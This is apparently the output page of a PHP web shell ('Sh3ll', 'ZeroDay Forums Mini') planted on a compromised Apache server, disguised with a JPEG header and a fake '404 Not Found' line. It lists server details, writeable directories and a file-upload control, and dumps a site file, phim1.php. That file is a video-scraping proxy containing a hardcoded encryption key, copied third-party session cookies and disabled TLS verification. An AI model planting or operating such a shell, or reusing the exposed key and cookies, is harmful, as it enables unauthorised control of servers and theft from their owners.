ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/proxy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/proxy/phim1.php
<?php
header( 'Access-Control-Allow-Origin: https://phim1.net');
require '../src/Curl/ArrayUtil.php';
require '../src/Curl/CaseInsensitiveArray.php';
require '../src/Curl/Curl.php';
require '../src/Curl/Decoder.php';
require '../src/Curl/MultiCurl.php';
use \Curl\Curl;

function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
function curl_func($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    //curl_setopt($ch, CURLOPT_REFERER, 'http://www.phimmoi.net');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
function curl_begin($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = ":authority: fimfast.com";
    $head[] = ":method: GET";
    $head[] = "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
    $head[] = "accept-encoding: br";
    $head[] = "accept-language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5";
    $head[] = "cache-control: max-age=0";
    $head[] = "Referer: https://fimfast.com/";
    $head[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36";
    $head[] = "Upgrade-Insecure-Requests: 1";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, 'https://fimfast.com/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_ENCODING , "br");
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}

function curl_detail($url,$ref) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Accept: */*";
    $head[] = "Accept-Encoding: gzip, deflate, br";
    $head[] = "Accept-Language: vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5";
    $head[] = "Connection: keep-alive";
    $head[] = "Content-Type: application/json";
    $head[] = "Host: fimfast.com";
    $head[] = "Referer: ".$ref;
    $head[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36";
    $head[] = "X-Requested-With: XMLHttpRequest";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, $ref);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_ENCODING , "br");
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
if(!isset($_GET['time'])){
    return;
}
$url_encode = $_GET['url'];

$txt_play = str_encode(hex2bin($url_encode),'123Vid@Net');

$pos7 = strpos($txt_play,'youtube.com');
$pos15 = strpos($txt_play,'fimfast.com');
$pos18 = strpos($txt_play,'vophim.com');
$pos11 = strpos($txt_play,'anime47.com');
$pos4 = strpos($txt_play,'tv.zing.vn');

if($pos7 !==false) {
    $arr['type'] = 'video/youtube';
    $arr['file'] = $txt_play;
    echo json_encode($arr);
    exit();
}
if($pos4 !==false) {
    $arr['type'] = '';
    $arr['file'] = '';
    $url = $txt_play;
    $curl = new Curl();
    $headers = array(
        'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Encoding:gzip',
        'Accept-Language:en-US,en;q=0.8',
        'Cache-Control:max-age=0',
        'Connection:keep-alive',
        'Cookie:TV_COOKIE=59506cd6cb6fd; _znu=1; fuid=43dce90f57c64a07ea4e9d0a34fc088a; __utmt_tv=1; GED_PLAYLIST_ACTIVITY=W3sidSI6IlVTT1giLCJ0c2wiOjE0OTg0NDI5MzcsIm52IjoxLCJ1cHQiOjE0OTg0NDI4NTQsImx0IjoxNDk4NDQyOTM3fV0.; __utma=1.30269616.1498442833.1498442833.1498442833.1; __utmb=1.1.10.1498442833; __utmc=1; __utmz=1.1498442833.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.30269616.1498442833; _gid=GA1.2.84242335.1498442833; _gat=1; atmpv=3; __zi=2000.289a873873369b68c227.1498442967337.908bd535; adtimaUserId=2000.289a873873369b68c227.1498442967337.908bd535',
        'Host:tv.zing.vn',
        'Referer:http://tv.zing.vn/',
        'Upgrade-Insecure-Requests:0',
        'User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
    );
    $curl->setOpt(CURLOPT_HTTPHEADER , $headers);
    $curl->setOpt(CURLOPT_REFERER , 'http://tv.zing.vn/');
    $curl->setOpt(CURLOPT_COOKIEFILE , 'cookie_zingtv.txt');
    $curl->setOpt(CURLOPT_COOKIEJAR , 'cookie_zingtv.txt');
    $curl->setOpt(CURLOPT_RETURNTRANSFER , true);
    $curl->setOpt(CURLOPT_ENCODING , "gzip");
    $curl->setOpt(CURLOPT_FOLLOWLOCATION , true);
    $curl->get($url);
    $content = $curl->response;
    $curl->close();
    preg_match_all('#playlist\.source = "(.*?)";#is', $content, $match);
    $link = $match[1][count($match[1])-1];
    $type = 'video/mp4';
    foreach ($match[1] as $key=>$val){
        if(strpos($val,'.m3u8')!==false){
            $link = $val;
            $type = 'application/x-mpegURL';
        }
    }
    if($type=='video/mp4'){
        $v = str_replace(array('https://','http://','//'),array('','','https://'),$link);
        if(strpos($v,'https://')===false){
            $v = 'https://'.$v;
        }
        $link_encode = bin2hex(str_encode($v, '123Vid@Net'));
        $link = 'https://st2.videock.com/mp4-6.php?url='.$link_encode;
    }else{
        $v = str_replace(array('https://','http://','//'),array('','','https://'),$link);
        if(strpos($v,'https://')===false){
            $v = 'https://'.$v;
        }
        $link_encode = bin2hex(str_encode($v, '123Vid@Net'));
        //$link = 'https://st2.videock.com/playlist-6.php?url='.$link_encode;
        $link = 'https://st2.videock.com/playlist-6/'.$link_encode.'.m3u8';
    }
    $arr['type'] = $type;
    $arr['file'] = $link;
    echo json_encode($arr);
    exit();
}
if($pos11 !==false) {
    $arr['type'] = '';
    $arr['file'] = '';
    $url = $txt_play;
    $content = curl_func('https://st2.videock.com/logs/v3/examples/curl2.php?url=' . base64_encode($url));
    if(strpos($content,'fembed.com')!==false){
        $arr_content = explode('fembed.com',$content);
        $arr_content2 = explode('scrolling=',$arr_content[1]);
        $link_play = urldecode(trim($arr_content2[0]));
        $link_play = str_replace(array('\/v\/','\"',' '),array('','',''),$link_play);
        $id_f_encode = bin2hex(str_encode($link_play,'123Vid@Net'));
        $link_play = 'https://videock.com/drive/news_test.php?f='.$id_f_encode.'&time='.time();
        $arr['type'] = 'video/mp4';
        $arr['file'] = $link_play;
    }
    echo json_encode($arr);
    exit();
}
if($pos15 !==false) {
    $arr['type'] = 'application/x-mpegURL';
    $arr['file'] = '';
    require '../lib/simple_html_dom.php';
    $url_begin = $txt_play;
    $content = curl_begin($url_begin);
//$content = brotli_uncompress($content);
    $html = str_get_html($content);
    $id = $html->find('div.container',0)->{'data-id'};
    $epi = $html->find('div.container',0)->{'data-episode-id'};
    $url = 'https://fimfast.com/api/v2/films/'.$id.'/episodes/'.$epi;
    $content2 = curl_detail($url,$url_begin);
//$content2 = brotli_uncompress($content2);
    $arr = json_decode($content2,true);
    $link = '';
    $type = '';
    if(!empty($arr['sources']['hls'])){
        $link = $arr['sources']['hls'];
        $type = 'application/x-mpegURL';
    }else{
        $type = 'video/mp4';
        $arr_link = $arr['sources']['pt'];
        require 'Mobile_Detect.php';
        $detect = new Mobile_Detect;
        $link = $arr['sources']['pt'][0]['src'];
        foreach ($arr_link as $key=>$val){
            if ($detect->isMobile() || $detect->isTablet()) {
                if(strpos($val['src'],'itag=18')!==false){
                    $link = $val['src'];
                    break;
                }
            }else{
                if(strpos($val['src'],'itag=22')!==false){
                    $link = $val['src'];
                    break;
                }
            }
        }

        $link_encode = bin2hex(str_encode($link, '123Vid@Net'));
        $link = 'https://st2.videock.com/mp4-3.php?link=' .$link_encode . '&token=' . md5(uniqid(microtime()));
    }
    $arr['file'] = $link;
    $arr['type'] = $type;
    echo json_encode($arr);
    exit();
}

if($pos18 !==false) {
    $arr['type'] = 'application/x-mpegURL';
    //$arr['file'] = 'https://st2.videock.com/proxy/m3u8vn_phim1.php?pl=' .$url_encode;
    $arr['file'] = 'https://st2.videock.com/proxy/m3u8vn_phim1/' .$url_encode.'.m3u8';
    echo json_encode($arr);
    exit();
}
?>

ZeroDay Forums Mini